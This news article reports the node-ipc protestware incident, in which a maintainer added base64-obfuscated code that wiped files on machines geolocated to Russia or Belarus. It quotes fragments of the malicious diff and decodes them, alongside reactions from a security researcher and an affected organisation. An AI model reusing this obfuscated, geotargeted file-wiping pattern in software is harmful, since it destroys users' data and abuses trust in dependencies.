Getty Images
The developer of a popular open source package has been caught adding malicious code to it, leading to wiped files on computers located in Russia and Belarus. The move was part of a protest that has enraged many users and raised concerns about the safety of free and open source software.
The application, node.ipc, adds remote interprocess communication and neural networking capabilities to other open source code libraries. As a dependency, node.ipc is automatically downloaded and incorporated into other libraries, including ones like Vue.js CLI, which has more than 1 million weekly downloads.
A deliberate and dangerous act
Two weeks ago, the node.ipc author pushed a new version of the library that sabotaged computers in Russia and Belarus, the countries invading Ukraine and providing support for the invasion, respectively. The new release added a function that checked the IP address of developers who used the node.ipc in their own projects. When an IP address geolocated to either Russia or Belarus, the new version wiped files from the machine and replaced them with a heart emoji.
To conceal the malice, node.ipc author Brandon Nozaki Miller base-64-encoded the changes to make things harder for users who wanted to visually inspect them to check for problems.
This is what those developers saw:
+ const n2 = Buffer.from("Li8=", "base64"); + const o2 = Buffer.from("Li4v", "base64"); + const r = Buffer.from("Li4vLi4v", "base64"); + const f = Buffer.from("Lw==", "base64"); + const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); + const e = Buffer.from("cnVzc2lh", "base64"); + const i = Buffer.from("YmVsYXJ1cw==", "base64");
These lines were then passed to the timer function, such as:
+ h(n2.toString("utf8"));
The values for the Base64 strings were:
n2is set to:./o2is set to:../ris set to:../../fis set to:/
When passed to the timer function, the lines were then used as inputs to wipe files and replace them with the heart emoji.
+ try { + import_fs3.default.writeFile(i, c.toString("utf8"), function() { + });
“At this point, a very clear abuse and a critical supply chain security incident will occur for any system on which this npm package will be called upon, if that matches a geolocation of either Russia or Belarus,” wrote Liran Tal, a researcher at Snyk, a security company that tracked the changes and published its findings on Wednesday.
Tal found that the node.ipc author maintains 40 other libraries, with some or all of them also being dependencies for other open source packages. Referring to the node.ipc author’s handle, Tal questioned the wisdom of the protest and its likely fallout for the open source ecosystem as a whole.
“Even if the deliberate and dangerous act of maintainer RIAEvangelist will be perceived by some as a legitimate act of protest, how does that reflect on the maintainer’s future reputation and stake in the developer community?” Tal wrote. “Would this maintainer ever be trusted again to not follow up on future acts in such or even more aggressive actions for any projects they participate in?”
Gone forever
RIAEvangelist also came under fire on Twitter and in open source forums. The new malicious code release, wrote one person claiming to work for a US-based organization that operated a server in Belarus, “resulted in executing your code and wiping over 30,000 messages and files detailing war crimes committed in Ukraine by Russian army and government officials.”
The person, who later took down the post and republished it , said that the purpose of the Belarussian server was to bypass censorship in that country. The organization’s personnel had already been stretched thin since Russia began its invasion of Ukraine on February 24, the person said, and for reasons that aren’t clear, messages from front-line soldiers and other sensitive data was likely gone forever.
“Personally, me and my colleagues are absolutely devastated,” the person wrote. “All I can say [is] that your little shenanigan did more damage to us than Putin or Lukashenka ever could. Professionally, our counsel suggested filing criminal charges federally, and it’s likely we’ll be proceeding this way.”
